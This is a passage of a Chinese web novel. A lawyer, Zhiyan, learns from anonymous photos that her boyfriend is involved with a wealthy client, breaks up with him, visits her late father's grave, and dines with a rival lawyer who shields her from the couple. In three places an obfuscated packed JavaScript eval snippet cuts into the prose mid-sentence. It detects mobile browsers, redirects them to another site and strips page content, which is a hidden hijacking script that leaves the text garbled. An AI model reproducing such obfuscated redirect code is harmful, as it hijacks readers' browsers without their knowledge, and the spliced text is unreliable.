“你看嘛,你读研究生那三年,和他一年也就见那么几面,现在你毕业了,和他一周也难得见一两面,如果我不知道你有男朋友,我都以为你单身。” 对于和钟明贤这种相处模式,稚言并不觉得不好,“其实挺好的不是吗,每天腻在一起才会容易厌倦吧,我们本来就有各自的工作,并且都很忙。” “不不不,这问题很大,你们根本不像是谈恋爱,而且我们一般把这类归为性冷淡。” 稚言:“……” “你老实说,是不是他那方面功能有问题,所以……” “你想太多了。”稚言听她往奇怪的方向分析,立马停止了这个话题,她示意洗浴间,“时间不早,快去洗澡了。” 吃了宵夜,稚言回到房里,翻着她和钟明贤的聊天记录,这几个月他们发消息的次数不算多,每次都是几句话结束。 她又想起顾禹谦说的那些话,爱情都是有保质期的,过了这个期限两人之间就不再是爱情,按照最长三年来算,她和钟明贤之间的感情确实过了保质期了。 不过稚言并不喜欢追求刺激,在她的观念里,就算不存在爱情,两个人之间形成了相依为命的亲情,其实也是可以长久的。 但最近她却觉得和钟明贤渐行渐远。 是因为他们不常见面的原因吗? 上次和他见面还是钟明贤提车那天,两人并不算愉快,之后也没联系,已经过去五六天了。 她想了想,给钟明贤发了一条消息。 稚言:你明晚有空吗?一块吃个饭吧。 过了几分钟,钟明贤才回复。 钟明贤:最近忙一个案子,要加班,周六看看吧。 稚言:好。 —— 隔天,稚言去了一趟陈欣妍的家,跟她汇报昨天跟顾禹谦的协商结果。 陈欣妍听完了录音,听到最后那句‘希望陈小姐可以早日走出这段的阴影,忘了我,重新面对自己崭新的生活。’ 她眼眶红了。 陈欣妍问:“你说,他最后那句话,是不是说明他心里还有我。” 稚言在心里叹气,爱情有时候还真是让人盲目,前面的录音里顾禹谦说得清清楚楚希望她不要再去靠近他,可她的重点却只放在了最后那一句话上。 稚言斟酌着词句,“陈小姐,我觉得你应该听他的,忘了他,然后面对自己的新生活。” 陈欣妍吸了吸鼻子,“其实他这个人也很温柔的,虽然平时一工作起来就不理人,但跟他在一起的时候,他会待你很绅士。” 稚言心道,她体会到了,他确实很绅士,但也确实很狠心。 “这支录音笔能给我吗?多少钱,我付。”陈欣妍示意稚言的录音笔。 稚言说:“这支录音笔对我意义比较特殊,如果你是想要里面的录音文件,我可以导出来发给你。” “好吧。” “另外,他会在这几天拟一份保证书,到时候会发给我,只要你签了,他就会撤诉。” “嗯,我知道了。” 过了一会儿,陈欣妍看着稚言问:“你说,他还会爱上别人吗?” 稚言觉得陈欣妍是中毒太深,像顾禹谦这样的人,又怎么可能不会爱上别人呢? 如果她现在说谎话骗她,那将来顾禹谦有了新欢她一定承受不住,如果说真话,她估计也受不了。 “陈小姐,这个问题,我也不知道,但我想你比我更了解他。”稚言道:“其实你何必还纠结这个问题,忘了他,你一定会找到一个更好的。” 陈欣妍苦笑,她其实心里比谁的清楚,顾禹谦从不吝啬表达自己的爱慕,也从不掩饰自己的不爱,他就是这样的一个人啊。 “你说得对,我条件这么好,一定会找到更好的。” —— 早上,稚言出了地铁站后直往公司大楼走,在写字楼大门口,一个人叫住了她。 稚言循声看过去,是一个送外卖的小哥,她觉得眼熟,好一会儿才反应过来是张航,他带着头盔,她差点没认出来,她笑了笑,“是你啊。” 张航提着一袋东西递给她,是一袋水果,“稚律师,我买了点水果,你拿回去吃吧。” 稚言看到了袋子里的信封,不想也知道里面装的是什么,“不了,你吃吧。” “别,你收下吧。”张航说:“那段时间你尽心尽力帮我,我妈没什么钱,律师费也给的不多,我和她都觉得对不住你,她说了,让我以后赚了钱一定好好报答您。我找到工作了,上个月干了半个月,钱也到了,有五六千,所以你别跟我客气。” 听了他这番话,稚言很感动,“张航,我律师费没少收,那是根据统一标准收费的。并且,帮你争取合法的权益也是我的职责,你不需要觉得欠了我的。该感谢的你母亲已经感谢过了,你以后赚了钱自己留着用。另外,你是因为见义勇为而背上了这一场官司,我也希望在经历了这一场风波后,仍然有一颗正义的心。” 张航热泪盈眶,“放心吧,稚律师,我以后要是看到有人被欺负,我还帮。” “嗯。”稚言欣慰地笑了笑,那一刻她觉得能作为一个法律从业者真好,她真的做到了维护正义。 张航示意手上的袋子,“那这水果……” 稚言接过他手上的袋子,但是把里面那个鼓鼓的信封拿了出来交给了他,“水果我就收了,这个不收。” “这……” “就这样,你去忙你的,我也得回公司上班了。” 张航没再强求,“好,稚律师再见。” —— 稚言回到公司,前台叫住了她,“稚律师,有你的快件。” “好的,谢谢。”稚言接过文件袋往办公室 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392750|168615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走。 刚把包放下,周维便把她叫了过去。 周维进了办公室后走到办公桌后坐了下来,看着稚言,“陈欣妍的案子进度怎么样?” “庭外和解挺顺利的,还有些收尾工作。” “嗯,我这边有个商标侵权案,我想交给你去跟进处理。”周维从抽屉里拿出一个文件夹递了过去,“这是资料。” 稚言接过,“好。” “这个客户潜力很大,以前跟信达律所长期合作,但最近合作不大愉快,一直想要找别的律所,这次他们选择我们,你可要好好把握。” 稚言:“案子的话我会努力跟进,不过我也跟你说过,过两个月我要考公,所以你还得另外安排一个人跟我一起对接这个客户。” 当初稚言一毕业,周围就把人拉来了,入职之前稚言就说过自己有意向考公。但那时候律所很缺人,他还是让稚言过来了。 “稚言,如果你一定要考公的话,我当然是尊重你的选择,但是我觉得你能力很强,在律所一直干下去,再过几年升合伙人不是问题,而且你赚的一定比考公多太多。” “我知道的,不过我还是坚持自己的选择。” 周围叹了叹气,“那行吧,不强求你,总之这个案子还是你来跟进,我也会再安排人跟你一起做。” “好。” 稚言回到工位,把文件夹放在一边,拆开今早前台给她的文件袋,摸出里面的东西一看,是照片。 当看清楚照片上的人时,她愣住了。 照片上有一男一女,男人穿着沙滩裤,用公主抱的姿势抱着一个穿着比基尼的女人。 女的是霍秀雅,男的正是她男朋友钟明贤。 另外还有霍秀雅搂着钟明贤脖子的照片,霍秀雅挽着钟明贤手臂的照片。 不知道的人,还以为他们两是一对甜蜜的情侣。 稚言把照片收进文件袋,再看了看文件袋外封,上面有一张快递单,但是她一扫描,没有人任何关于这个快递单号的物流信息,只有收件人写着她的名字。 显然这并不是按正常快递寄出来的,而是有人放在这的。 是谁?寄这些东西给她的目的是什么? 稚言把快递袋放进抽屉,而后去了前台,“小玲,你刚刚给我的快递是什么人交给你的?” “快递员啊。” “是哪个快递员?有他电话吗?” 前台道:“这个的话,有好几个快递员经常给我们送快递,他们经常放在这就走了,我也不记得是哪个,怎么啦,稚律师。” 稚言尽量让自己看上去镇定,“只是快递上寄件人没写清楚,我也不知道谁寄的,你把平时送快递那几个人的电话都发给我吧,我待会问问看。” “好的,稍后发给你。” 稚言回到工位,心情还没平静下来。 纵然这几年她一直在锻炼自己遇事要从容,但遇到被人劈腿背叛这样的事,她还是没办法镇定。 被欺骗背叛后的愤怒,意难平,还有回想起那些照片时的恶心感,轮番在她的心里翻涌。 让她产生了想吐的感觉。 12. chapter12 稚言想起这段日子钟明贤的变化,他出手变得阔绰,明明去年还在为母亲四十万的医药费到处借钱,今年就换了48万的车,他也不再去大排档,出入的都是中高档餐厅,各种各样的变化。 虽说他们这一行,只要案源好赚大钱并不难,但也并不是随随便便能拿到好的案源,毕竟这个行业的二八定律就注定了大部分人一辈子平庸。 前段时间她心里始终觉得钟明贤不对劲,可又说不出哪里不对劲,看到这些照片,她终于明白了。 他的初心早就变了。 在此之前,她已经察觉到了一些蛛丝马迹,但是在她眼里钟明贤是个自尊心很强并且能分辨是非的人,不至于会走上接受潜规则抱大腿的路,所以在没有确凿证据之前,她从来没有真正地怀疑他。 可那些血淋淋的事实,又告诉她,是她看走眼了,钟明贤就是那样的人。 曾经那个富有正义感的人已经在名利场里迷失了自我,变得唯利是图,甚至不折手段。 他们在一起四年,稚言从不会因为一点小事就跟自己的恋人生气,耍脾气,从不要求对方要记住她的生日,要在一些特殊节日送礼物,甚至不要求他时刻保持着对她的热情,但她眼里容不得沙子。 这件事情既然发生了,那她就不打算息事宁人。 她需要跟钟明贤面对面谈一谈。 她给钟明贤发了消息,约他中午见面,对方说今天下午要开庭,中午要准备资料,抽不出时间。 好,既然他要开庭,那她就再延迟半天,到晚上见面。毕竟他的当事人是无辜的,她不该因为自己的私人感情问题去影响那一场庭审。 这一天,对于稚言而言有点难熬,她很难集中精神。 关于早上周维交给她的那件商标侵权案,周维安排了林杨还有个三年执业经验的律师一起配合,但他们在开研讨会的时候,稚言走神了很多次。 研讨会之后,林杨泡了一杯咖啡给她,并嘘寒问暖了几句,问她是不是遇到了不开心的事。 稚言才知道自己佯装的镇定早就被看穿了。 她笑着说没事。 终于熬到下班,她几乎是准点走。 钟明贤的庭审已经结束,他直接从法院开车过来接她,已经在楼下等着。 稚言下了楼之后,上了他的车。 钟明贤显然不知道未来有什么在等着他,他笑着问:“想去哪里吃饭?我知道有一家法国餐厅,那里的蜗牛不错。” 是因为跟霍秀雅去过吗?稚言心道,可她始终没说出口。 “不去吃饭,你找个停车位把车停好,我有话想跟你说。” “不能一边吃饭一边说吗?” “不。” 钟明贤从鼻子重重呼出一口气,“行吧。” 钟明贤开着车在附近的马路边找了个临时停车位停好。 稚言把那个文件袋从包里拿了出来,递给他,“你看看吧。” 钟明贤接过打开,在看到第一张照片时,他的脸色就变了,变得煞白,身体也像是被什么定身术定住。 稚言尽量用平静的语气问:“这些是今天有人匿名寄给我的,都是真的吗?” 钟明贤又翻出了其他照片,他根本不知道自己是什么时候被偷拍的,更不知道是谁把这些照片给稚言的。 他无法否认说这是P的,因为他知道都是真实的,并且这上面没有任何PS痕迹。 “稚言。”钟明贤收起了照片,“这件事我可以解释。” 稚言坐在副驾坐上,目光透过车窗毫无聚焦地落在前方,“好,你解释。” “你知道的,我执业前五年,都只是一名普通律师,接的都是标的额连百万都不到的小案子,可我仍旧每天加班,到处跑,累死累活的,到头来我妈病一次,我几年的存款都不够给她治病,你知道我有多绝望吗?而且我也要为我们以后打算,南城的房价那么高,我必须很努力才能在这里扎根。霍秀雅是我的大客户,她找我打的第遗产官司标的额就几十亿,你知道这种标的额的案子,我以前可能忙几年都没这个数,做律师的,没有好的案源,怎么可能提高创收,不提高创收,怎么升为合伙人?如果在三十岁,我还没升合伙人,那我这辈子可能就这样了。” 稚言听他说了一大段,其实最终都没解释道正题上,她当然知道他不容易,这个世界上大部分人都在为钱而苦恼,但是她不能接受他利用这种方式赚钱。 “所以,为了创收,为了升合伙人,你最终决定出卖自己吗?” 钟明贤:“当然不是!” “那这些照片是假的吗?” “也不是。”钟明贤声音低了一截,“怎么说,霍秀雅她确实有钱,她这个人也确实会对我动手动脚,我也只是为了长远发展,所以忍气吞声,并且我是男的,也不会说吃什么亏。” 稚言冷笑一声,忽然觉得自己的眼睛真瞎,“钟明贤,这里面有两张照片是你和她在沙滩上拍的,你应该看到了吧,否则你怎么会说出这么低级的谎言?” “稚言……”钟明贤伸手过来握住她的小臂,“你能不能不要围绕这些照片说,我真的没背叛你。” “哦?怎么说?” “我和她那些比较亲近的动作,就只是逢场作戏,我至始至终,没跟她上过床。” 稚言觉得可笑,“钟明贤,原来在你眼里,无论跟别的人多么亲密,只要没上过床,那就不算背叛。” “我说了,那些亲密只是逢场作戏,你明白吗?我也从来没想过跟她继续维持这个状态,等我成为高级合伙人,她的那个官司打完,她跟我合不合作那根本就无关紧要了。” “可我接受不了。”稚言眼眶通红地看着他,“钟明贤,我现在一想到你和她,就犯恶心。” 钟明贤脸色非常难看,稚言这么说,也真的是伤了他的心,他问:“所以,你想怎么样?” “我不跟你吵,也不跟你闹,只是,我想结束我们之间的关系。”稚言是真的想过要和他过一辈子,就算没有爱情了,有亲情也是好的,可她想的太天真了。 “钟明贤,我们就到此为止吧。” 钟明贤沉默了很久,“稚言,我觉得你应该冷静一下,我们都不小了,真的没必要那么冲动。” “冲动吗?”稚言道:“钟明贤,封建社会的女人,能容忍男人三妻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392751|168615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四妾在外面乱来,因为大部分女人脱离了男人就无法享受荣华富贵,甚至无法生存。可现在是二十一世纪,女人都能自力更生,你说她为什么要容忍一个在外面乱来的男人,恶心自己吗?” “你别左一句恶心,右一句恶心行吗?我说了,我跟霍秀雅那只是逢场作戏,你自己也在职场混过,哪个男人在外面不是这样?” 原来钟明贤在不知不觉中,变得这么可笑。 “那你可以去找可以容忍你逢场作戏的人吧,我不能,我的眼里一颗沙子也容不下,所以,我们到此为止了。我也不想跟你说太多,因为无论说什么,都改变不了我对你心死的事实。”稚言的语气亲近而决绝,说完,她便推开门下车,提着包,踩着高跟鞋,头也不回地走了。 她眼眶通红,但她一直在极力忍着眼泪。 她从小到大一直记着父亲的话,他说:男儿有泪不轻弹,但女孩也可以很坚强,所以不要哭,知道吗?” 所以,她不喜欢哭,也不轻易让自己哭。 —— 谢芫哼着歌回到家,家里一片漆黑,她开了灯,踢掉了高跟鞋,换上居家鞋,她手上还提着一份麻辣烫和炸鸡,是她的晚餐。 她走到餐桌旁,透过阳台的落地玻璃窗,总觉得外面好像坐了个人,她吓了一跳,声音有些颤抖,“谁?!谁在外面?” “是我。” 传来的是稚言的声音,谢芫松了一口气,她推开落地玻璃门,看着外面在藤椅上蜷缩成一团的稚言,看她的样子,似乎是遇到了什么难过的事。 “稚言,你怎么了?” 稚言抬头看着她,眼睛有点红,“我分手了。” 谢芫睁大了眼睛,“谁提的?” “我。” 这也太突然了。 谢芫矮下身来,握住她的手,“怎么一回事,跟我说一说。” 面对自己的好闺蜜,稚言也没有隐瞒,“今天我收到了一份匿名寄来的照片,照片上是钟明贤和霍秀雅。” “他出轨了?”谢芫想了想又觉得不对,“劈腿了?” “没错,他说只是逢场作戏,可其实我宁愿他移情别恋,至少说明他还是喜欢霍秀雅的。” 谢芫咬着唇,大概猜到了,“但事实上,他其实也只是想往上爬,所以才接受霍秀雅的潜规则的是吗?” “嗯。”稚言双臂抱着小腿,下巴点在膝盖上,无力地笑了笑,“我从没想过他会变成这样,当初我刚认识他的时候,他真的是个老好人,那时候我刚毕业,是个新人,不懂的地方他都很耐心教我。他经常接法律援助案,也说他想要帮助那些需要法律帮助的人伸张正义,这是他做律师的初衷。” 谢芫站了起来,揽着她的肩膀,让她靠在自己怀里安慰,“那也是曾经的他,现在的他不值得你喜欢。” “是,现在的他不值得我喜欢,我甚至一想起来他和霍秀雅在一起的画面,就觉得恶心。”稚言自嘲道:“你说我就怎么这么蠢,明明早就发现他不对劲,还在心里为他开脱。” 谢芫抚了抚她的头发,“现在发现也不晚,稚言,你就该庆幸你没跟他结婚,所以也算及时止损了。” 13. chapter13 谢芫问:“你吃晚饭没有?” 稚言摇头,“不想吃。” 今天中午她就吃的不多,心里像有什么堵着,晚饭没吃她甚至感觉不到饿。 “你说我巧不巧,我买麻辣烫特意买多了,还买了炸鸡。” 谢芫松开她,改为拉着她的手,“快来吃,都冷了。” 稚言被她拉进了客厅。 刚刚在阳台上灯光太暗,她没怎么看清稚言的眼睛,此时看清了,发现她眼睛除了有点红,但没肿,“你没哭吧?” “没有。”稚言说:“他不值得我为他哭。” 谢芫朝她伸出大拇指,“不愧是我认识的稚言,够坚强。” 谢芫从厨房里拿了两个小碗,两人夹着那一份麻辣烫吃,稚言吃了点辣的,才觉得胸口的恶心感淡了一点。 这一碗麻辣烫不算多,稚言吃了一点便没吃了,“剩下的你吃吧,我待会再煮个面。” “别煮了,待会我们叫小龙虾,十三香的,再叫一打生蚝,简直不要太爽。” “嗯,好。” 谢芫想到什么,“我忘了,还要啤酒,一定要好好庆祝一下你看清渣男本质,及时脱离苦海。” 稚言笑了笑,“你这么一说,确实该庆祝一下。” 说完,谢芫便立即拿出了手机,下单了小龙虾,生蚝还有啤酒。 此时,稚言的手机响了,她拿起来一看,是她母亲常玉莲打来的。 稚言清了清嗓子,让自己的声音听上去更自然,她按下接听键,“妈。” “稚言啊,吃饭了吗?” “在吃。” “下周一是你爸的忌日,但周一你得上班,你外婆最近身体不大好,刚好小茜周末放假回来可以照顾她,我也有空,我们也别讲究太多了,周日去看看他吧。” “嗯,好。” “那我周六一早过去,在你那住一天。” “好的,妈。” 谢芫听她打完电话,才问:“阿姨要来?” “嗯。”稚言把手机放在一边,“过几天是我爸忌日。” “嗯嗯。”谢芫认识稚言这么多年,多少也听过关于她父亲的事,她父亲以前是南城市局刑侦支队副队长,在九年前她高考那一年意外身亡。 上大学的时候,稚言说过她从小到大的愿望其实是像她父亲一样当刑警,理想的大学是公大。 但因为父亲的去世,她的母亲一直很反对她上公大,也反对她当警察,最后她选了法学专业。 而当初本科毕业的稚言其实也想考检察官,但常玉莲知道后,反应很激烈,直接来到了南城阻止她去考,甚至说出了她要当检察官,就不认她这个女儿的话。 稚言刚失恋,如果她母亲发现她打算考检察官,不知道又会怎么闹。 “对了,你这次考检察官的事,你妈什么态度?” 稚言说:“毕业之后我回过家一趟,跟她提过,一开始她也是不同意,后来我跟她谈了一次心,敞开心扉跟她说自己的想法,然后她就说让我自己去掌握自己的人生,我就当她答应了。” “嗯,那就好。”谢芫抿了抿唇,“阿姨这么反对你当警察,甚至反对你当检察官,其实也是因为你父亲吧。” “嗯。”稚言应了一声。 谢芫觉得自己问得有点多了,她示意麻辣烫说:“快吃快吃,真的都凉了。” —— 九年前,稚言的父亲去世后,常玉莲便搬回了娘家,和年迈的母亲一起生活,稚言则留在南城上大学,但定时会回家看望母亲和外婆。 常玉莲是搭大巴过来的,稚言一早去车站把她接回了住处。 谢芫听到动静,才从房里出来,身上穿着睡衣,打着呵欠,嘴甜地喊了一句阿姨。 常玉莲笑着说:“小芫还没吃早餐吧,刚好我从家里带了一些吃的,也有你喜欢吃的。” 谢芫挽起常玉莲的手臂,比稚言这个女儿还像女儿,“谢谢阿姨,你太好了。” 常玉莲被哄得开心,把带来的吃的都放在桌上铺开,有她昨天晚上才做的椰汁桂花糕,卤牛腱子,还有绿豆饼以及自家种的青枣。 谢芫吃的很开心,一个劲夸常玉莲。 稚言把常玉莲的那一袋行李拿进了房,她一出来,常玉莲就说:“稚言,待会你跟我出门去买点菜吧,我给你们做点好吃的。” “嗯。” 谢芫高兴地像个小孩,“哇,有口福了,阿姨做的菜最好吃了!” 常玉莲笑着说:“你有没有想吃的,尽管说。” “阿姨做什么都好吃,我都喜欢。” “你这孩子,嘴还是那么甜。” 以前上大学的时候,稚言家在南城的房子还没卖,常玉莲偶尔还是会来南城住几天,那几天就会每天变着花样给她们送饭,谢芫作为稚言的舍友兼好闺蜜,也一起享受了这个福利,那时起,她就爱上了常玉莲做的饭菜。 常玉莲进了厨房看了看冰箱,她想到什么,“对了,稚言,把明贤也叫过来吧。” 一提到钟明贤,稚言便沉默了。 常玉莲看出了稚言的不对劲,“怎么了?” “妈,钟明贤应该不会来,我待会跟你解释。” 常玉莲隐隐约约猜到了什么,她叹了一口气,“你们这冰箱什么菜也没有,你现在跟我出去买点吧。” “嗯。” 两母女出门去买菜,路上稚言把自己和钟明贤分手的消息告诉了常玉莲,常玉莲听完后既震惊又生气,“那孩子看着好好地,人也本分,怎么就做出这种事来?” “我也没想到。”稚言道:“这个社会金钱和名利的诱惑太多了,如果不是内心坚定,确实容易走弯路。” “唉!”常玉莲之前还挺喜欢钟明贤这个人的,看他变成现在这样,难免有些惋惜,“只是啊,他拖了你整整四年,这点就可恨。” “在没结婚前认清,就不算晚。” “怎么不算晚,你都二十七,快二十八了,时间过得这么快,眨眼就三十岁了,你现在就算重新找,也没那么快。” 对于重新找男友,稚言一点兴趣都没有,她现在还处于被钟明贤恶心的阶段,“妈,我不着急。” “我替你着急。”常玉莲道:“你爸没得早,我又不能跟你一辈子,当然是希望你早点成家,也好让我放心。” “我知道,妈,暂时不说这个话题了。” 可常玉莲偏偏不转移话题,“话说,东海那孩子倒是好,根正苗红,不怕他有这些歪心思。只可惜,他偏偏跟他爸一样,当了刑警。” “妈,你怎么对刑警偏见这么大,爸不也是刑警嘛?” 提到自己的丈夫,常玉莲脸色便沉重起来,“就是因为你爸是刑警,我作为他妻子受了不少苦,所以我才希望你不要跟我一样。” 稚言挽住常玉莲的手臂,“可你还是很爱他不是吗?” 在稚言的印象中,父母非常恩爱,她的父亲因为办案,经常会好几天不回家,而她从来都是任劳任怨地为他在生活上鞍前马后。 常玉莲叹气,“他都走了这么多年,还什么爱不爱的。” 她嘴上这么说,但其实当初稚鸿走的时候,她也才刚满四十,之后也有人给她介绍过人,可她从来没答应,只有稚言知道,她心里一直都只有她父亲。 —— 稚鸿葬在银河墓园,他因在办案途中牺牲,所以被评为烈士。 稚言买了一束花,常玉莲带了一些祭品。 常玉莲把祭品摆在稚鸿的墓碑前,抬手抚了抚他墓碑上的照片,照片上的男人穿着警服,一脸英气逼人,“九年了,时间是真的快,我也老了,你倒好,一直都还是这个样子。你要是想起来回来看我,可别被我吓着……” 稚言在一旁静静地听着常玉莲对着稚鸿的墓自言自语,她习惯了,母亲每次都会跟父亲说一大堆话。 看到她跪在父亲的墓碑前那瘦弱的背影,稚言会特别想哭,如果父亲还在就好了,虽说他在的时候也总是忙着案子,但最起码,最起码他们还可以互相嘘寒问暖,不至于阴阳相隔。 拜祭过后,稚言挽着常玉莲的手臂一块离开了墓园。 常玉莲的眼眶还是红的,她问:“你上次跟我说你要考检察官,是真的铁了心吗?” “嗯,我都报名了,十一月底考试。” “我只有你一个女儿,我是真的希望你能平平安安过一辈子。” “妈,我知道。”稚言说:“做检察官比刑警安全多了,基本不用出外勤。” “但始终是跟罪犯打交道。” “放心,我一定会好好保护自己。” 常玉莲轻叹一息,“我就不明白你,当律师不是也挺好的吗,为什么一定要当检察官。” “妈,那是因为我爸的影响,你记得吗,小时候爸爸其实都在往警察方向去教导我的,他教我推理,让我学武术,你以前也很赞同的。” 常玉莲停下脚步,她看着稚言道:“我以前是很赞同,可你看你爸爸,他最后落得个怎样的下场?” 稚言沉默了片刻,当初父亲在办一桩杀人案,那件案子引起了很大的轰动,因为被杀的人是当时南城的一名富商。 那时明明杀人凶手已经找到,并且各种证据都指向了凶手,但有一天晚上,他接了一个电话,当时稚言还在挑灯学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392752|168615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 习,只听到他匆忙出门,说了一句,“我们都被误导了!” 稚言还没来得及听清他下一句话,他就出门了,就在那天晚上,他的警车陂一辆失控的货车撞了,两辆车都直接掉进了江水里。 虽说当初认定了这是一起意外事故,但是稚言并不相信。 她不否认自己想当检察官,有一部分理由是希望可以查清当年的真相。 但她从来不敢告诉常玉莲自己想要去查当年的旧案,怕她会更加担心她。 这是她心里埋藏了多年的秘密,她谁都没告诉。 —— 陈欣妍的名誉侵权案还差最后一步,就是把顾禹谦拟的保证书给她签字,并交还给顾禹谦。 顾禹谦承诺过,只要他收到保证书,就会撤诉。 稚言原本打算去一趟顾禹谦的公司,亲自把保证书送过去,但顾禹谦却直接约了她在餐厅见面。 还说,上次害她陷入险境,至少要请她吃两顿米其林才够弥补。 稚言欣然答应了,她现在是单身,也没必要顾虑跟一个异性单独约饭会不会不妥当的问题。 顾禹谦这次订的是米其林二星餐厅,整个南城只有两家。 稚言去到的时候,顾禹谦已经在等了。 他很喜欢穿西装,永远都是一副干净地不食人间烟火的模样,甚至在他的脸上也找不出一丝油腻的地方。 要是在古代,这样的人会被成为谪仙。 稚言走到顾禹谦面前,“顾律师,你好。” 顾禹谦绅士地起身绕过桌子,为她拖开椅子,“稚小姐,坐。” “谢谢。” 稚言一坐下来,顾禹谦便把菜单递给她,“看看喜欢吃什么,随意点。” 稚言接过菜单看了看,这里主要吃法餐,从前菜,到正餐,再到甜品,都列的非常清楚。 由于很多顾客不知道从何下手点菜,所以餐厅还贴心地推荐了好几个热门套餐,那几个套餐看着有十几道菜,但其实是一人的分量,最便宜的价格1688元。 这样的价位,稚言自己过来自然是舍不得消费的,但既然顾禹谦能邀请她来,那就说明他付得起,她虽觉得让对方破费有些不大好意思,但也没扭捏,她指了指菜单上最便宜的套餐说:“我要个套餐吧。” 顾禹谦叫来服务员,很快点好了菜。 稚言把保证书拿了出来,交给了顾禹谦,“这是陈欣妍亲笔签名的保证书,你看看。” 保证书是他拟的,他根本不用细看,只看到最后有个签名和手指印,他便收了起来,“行,我明天会像法院申请撤诉。” “好的。” 之后,想到了什么,稚言随意提起,“对了,上次那几个歹徒的幕后主使,最后查出来了吗?” “就是我隔天那场庭审的被告。” 稚言了然,顾禹谦出庭的案子,胜诉率是百分之九十,对方一定是急了,才会想到派人害他,“用这种方式阻止你上庭,实在下作。” “这个世上,下作的人还真不少。”顾禹谦端起旁边的水喝了一口,“偶尔,我也会用些下作的手段。” 稚言:“……” 顾禹谦看她的反应,轻笑一声,“怎么,对我改观了吗?” 稚言正经道:“只要在法律允许范围内,我认为对待下作的人可以用下作的手段。” “你也用过?” 稚言道:“惭愧,还没机会用。” 顾禹谦道:“我有些惋惜。” “惋惜什么?” “惋惜像稚小姐跟我这么合拍的律师,却不能与我共事。”顾禹谦看着她道:“古有才子怀才不遇,而我是求贤而不得。” 稚言还以为这件事早就翻篇了,没想到他又提起,“顾律师还真是抬举我了。” 菜陆陆续续地上,一人一份套餐,那些精致却分量极少的美食摆在眼前,每一道都不便宜。 稚言说:“其实,我还是觉得对顾律师有亏欠感。” “哦?怎么说?” “顾律师每次约饭都约在高档餐厅,让我觉得至少得再为顾先生打一架才算扯平。” 顾禹谦低眉一笑,他那张脸配上这个笑,那一瞬间撞入了稚言的眼里,不知怎么地,心跳都漏了一拍。 他说:“那你下次可以请我吃。” “我一个月的工资也未必能请你吃一顿米其林。” “普通消费的餐厅,也可以。” 稚言问:“那你看人均50的,你能接受吗?” “可以。” 稚言道:“那下次有机会我来请顾律师。” 顾禹谦唇角微微勾起,“我非常期待。” 14. chapter14 吃得差不多的时候,稚言起身去了一趟洗手间,出来时,刚好碰上了一个熟人,正是她的前男友。 钟明贤刚好从门口进来。 稚言并不想打招呼,钟明贤却叫住了她,“稚言!” 稚言停下脚步,钟明贤说:“等找个时间,我们再谈谈。” “谈什么?” “我跟你之间的事,我们都是成年人,别动不动就说分手,行吗?” 稚言觉得可笑,“可不分手我能怎么办?我没办法跟你在一起了。” “阿贤,你怎么现在才到。”忽然,一个娇柔的女声传来,稚言循声看过去,是一个穿着豹纹短裙的女人,她一双媚眼如丝,就像是西游记里的蛇精。 原来钟明贤是和她约了在这里吃饭。 他和霍秀雅之间的暧昧游戏还没结束,竟然还好意思说出跟她谈谈的话,看来是特意恶心她的。 有什么好谈的?她又没瞎。 霍秀雅看到了稚言,她故意问钟明贤,“这是谁?你认识吗?” 钟明贤犹豫了一下,“我女朋友。” 稚言纠正,“是前女友,谢谢。” 霍秀雅上下打量着稚言,冷笑一声,“阿贤,你眼光真的不怎么样,是男人都不会喜欢这种土里土气又没格调的女人。” 稚言正想回击,一个人来到了她身边,他身上有淡淡的香味,声音低沉而富有磁性,“比如我,就很喜欢。” 霍秀雅看到了顾禹谦,脸色忽然变得很难看,随后她不屑一笑,“顾禹谦,我真是没想到你喜欢这样的。” 顾禹谦看了一眼稚言,“在我眼里稚小姐很有魅力,我对她,一见倾心。” 这回不仅是霍秀雅脸色难堪,钟明贤的脸色更难看。 而稚言明知道顾禹谦是故意这么说为她扬眉吐气的,但她却抑制不住心跳加速,整个人都像是漂浮在空中。 她总算明白陈欣妍为什么对他情有独钟,因为这个男人真的处处散发着魅力,让人无法招架。 “账付过了,我们走吧。”顾禹谦牵起稚言的手,离开了餐厅。 上了电梯后,顾禹谦才松开她的手,“抱歉,失礼了。” 一如既往地保持着他的绅士风度。 稚言恢复了常色,对他刚刚的举动表示很感激,“刚刚,谢谢你替我解围。” 顾禹谦单手插着裤袋,“举手之劳。” 稚言没再说话,她的心很堵,在看到钟明贤和霍秀雅在一起的时候,心里的那股恶心感又上来了。 曾经那个充满正义感的老好人,竟变得让她想起来就胸闷恶心。 顾禹谦开口问:“分手了吗?” “嗯。” “恭喜。” 稚言以为自己听错,“恭喜?” 顾禹谦道:“我不认为那种靠女人上位的男人,配得上你。” 